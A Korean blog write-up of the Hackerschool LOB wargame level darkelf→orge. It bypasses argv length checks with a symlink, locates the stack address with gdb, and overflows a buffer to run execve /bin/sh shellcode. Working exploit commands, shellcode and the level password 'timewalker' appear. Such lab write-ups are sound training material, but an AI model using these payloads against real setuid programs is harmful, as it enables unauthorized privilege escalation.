본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( darkelf -> orge ) by ORANG

LOB_darkelf

 

 [darkelf@localhost darkelf]$ bash2

[darkelf@localhost darkelf]$ ls

orge  orge.c

[darkelf@localhost darkelf]$ cat orge.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// here is changed!

if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

}


// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

 

bash2 먼저 띄우고~~ 힌트를 보겠습니다.

에그헌터, 버퍼헌터에 argv[0]의 길이는 77이고, argv[1]의 길이는 48이하여야 하는군요.

길이 조건을 맞춰준 후에 argv[2]를 통해 공격을 하면 되겠네요ㅎㅎ

argv[0]의 길이를 77로 맞추는건 어렵지 않습니다. 77길이의 이름으로 링크를 걸어준 후에 확인해보겠습니다.

argv[0]은 ’./파일명’ 형식이 될테니 ‘.’과 ‘/‘ 을 제외하고 75글자의 파일명을 만들어주면 되겠네요!

 [darkelf@localhost darkelf]$ ./`perl -e 'print "A"x75'` a

stack is still your friend

[darkelf@localhost darkelf]$ ./`perl -e 'print "A"x75'` `perl -e 'print "A"x44,"BBB\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB

Segmentation fault

 

 

argv[0]과 argv[1]의 길이를 체크하는 부분을 모두 우회하였습니다.

argv[2]를 통해 공격을 하기전에, 주소가 필요하겠죠?? 분석 후 메모리 구조를 그려보겠습니다.

 

 [darkelf@localhost tmp]$ cp ../orge .

[darkelf@localhost tmp]$ ls

orge

[darkelf@localhost tmp]$ gdb orge

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>: push   %ebp

0x8048501 <main+1>: mov    %esp,%ebp

0x8048503 <main+3>: sub    $0x2c,%esp

…생략…

0x804860c <main+268>: mov    (%eax),%edx

0x804860e <main+270>: push   %edx

0x804860f <main+271>: lea    0xffffffd8(%ebp),%eax

0x8048612 <main+274>: push   %eax

0x8048613 <main+275>: call   0x8048440 <strcpy>

0x8048618 <main+280>: add    $0x8,%esp

…생략…

 

main+3에서 44바이트의 메모리를 확보하는게 보입니다.

argv[1]이 buffer에 복사되는 strcpy함수를 보니 edx에 argv[1]의 주소가 있겠네요

저 부분에 브레이크 포인트를 걸고 argv[2]의 주소를 찾아보겠습니다.

 

 (gdb) b * main+275

Breakpoint 1 at 0x8048613

(gdb) r `perl -e 'print "A"x44,"BBB\xbf"'`

Starting program: /home/darkelf/tmp/orge `perl -e 'print "A"x44,"BBB\xbf"'`

argv[0] error


Program exited normally.

 

하지만 argv[0] 길이 조건에서 걸리네요.. 그냥 75길이의 파일명을 가진 복사본으로 core 덤프를 이용해도 되겠지만 일단은 글자수를 맞춰 링크를 걸어준 후에 gdb로 보겠습니다.

/home/darkelf/tmp/의 길이는 18네요 59길이의 파일명을 링크로 걸어준후 gdb로 보겠습니다.

글자 수를 맞추는데 주의해야하므로 절대경로로 접근하겠습니다.

 

 [darkelf@localhost tmp]$ ln -s orge `perl -e 'print "B"x59'`

[darkelf@localhost tmp]$ gdb /home/darkelf/tmp/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) b * main+275

Breakpoint 1 at 0x8048613

(gdb) r `perl -e 'print "A"x44,"BBB\xbf"'` `perl -e 'print "\x90"x70'`

Starting program: /home/darkelf/tmp/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `perl -e 'print "A"x44,"BBB\xbf"'` `perl -e 'print "\x90"x70'`


Breakpoint 1, 0x8048613 in main ()

(gdb) x/80x $edx

0xbffffb6e: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb7e: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb8e: 0x41414141 0x41414141 0x41414141 0xbf424242

0xbffffb9e: 0x90909000 0x90909090 0x90909090 0x90909090

0xbffffbae: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffbbe: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffbce: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffbde: 0x90909090 0x00909090 0x00000000 0x00000000

0xbffffbee: 0x00000000 0x00000000 0x00000000 0x00000000

…생략…

 

argv[2]의 주소는 0xbffffb9f가 되겠네요ㅎㅎ 이번에도 메모리 오차가 클지 걱정되네요

0xbffffbae쯤으로 일단 시도해보겠습니다.

 

 [darkelf@localhost tmp]$ /home/darkelf/tmp/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `perl -e 'print "A"x44,"\xae\xfb\xff\xbf"'` `perl -e 'print "\x90"x40, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

 

이번에도 쿨하게 실패..!! core를 보겠습니다

 

 [darkelf@localhost tmp]$ gdb -c core

…생략…

Core was generated by `/home/darkelf/tmp/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB A'.

Program terminated with signal 11, Segmentation fault.

#0  0xc0000023 in ?? ()

(gdb) x/120x $ebp

…생략…

0xbffffaa4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffab4: 0x00000000 0x00000000 0x00000000 0x36383669

0xbffffac4: 0x6f682f00 0x642f656d 0x656b7261 0x742f666c

0xbffffad4: 0x422f706d 0x42424242 0x42424242 0x42424242

0xbffffae4: 0x42424242 0x42424242 0x42424242 0x42424242

0xbffffaf4: 0x42424242 0x42424242 0x42424242 0x42424242

0xbffffb04: 0x42424242 0x42424242 0x42424242 0x41004242

0xbffffb14: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb24: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb34: 0x41414141 0x41414141 0xae414141 0x00bffffb

0xbffffb44: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb54: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb64: 0x90909090 0x90909090 0x31b0c031 0xc38980cd

0xbffffb74: 0xc031c189 0x80cd46b0 0x6850c031 0x68732f2f

0xbffffb84: 0x69622f68 0x50e3896e 0x89e18953 0xcd0bb0c2

0xbffffb94: 0x00000080 0x00000000 0x00000000 0x00000000

 

argv[2]는 0xbffffb44부터 시작되네요ㅎㅎ 이 주소로 다시 시도해보겠습니다.

 

 [darkelf@localhost tmp]$ /home/darkelf/tmp/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `perl -e 'print "A"x44,"\x44\xfb\xff\xbf"'` `perl -e 'print "\x90"x40, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD

bash$ id

uid=506(darkelf) gid=506(darkelf) groups=506(darkelf)

bash$ my-pass

euid = 506

kernel crashed

bash$ exit

exit

[darkelf@localhost tmp]$ cd ..

[darkelf@localhost darkelf]$ ln -s orge `perl -e 'print "A"x75'`

[darkelf@localhost darkelf]$ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `perl -e 'print "A"x44,"\x44\xfb\xff\xbf"'` `perl -e 'print "\x90"x40, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD

bash$ id

uid=507(orge) gid=506(darkelf) egid=507(orge) groups=506(darkelf)

bash$ my-pass

euid = 507

timewalker

 

절대 주소가 아닌 상대주소로 77글자를 맞추어 우회했습니다! 결과는 성공!!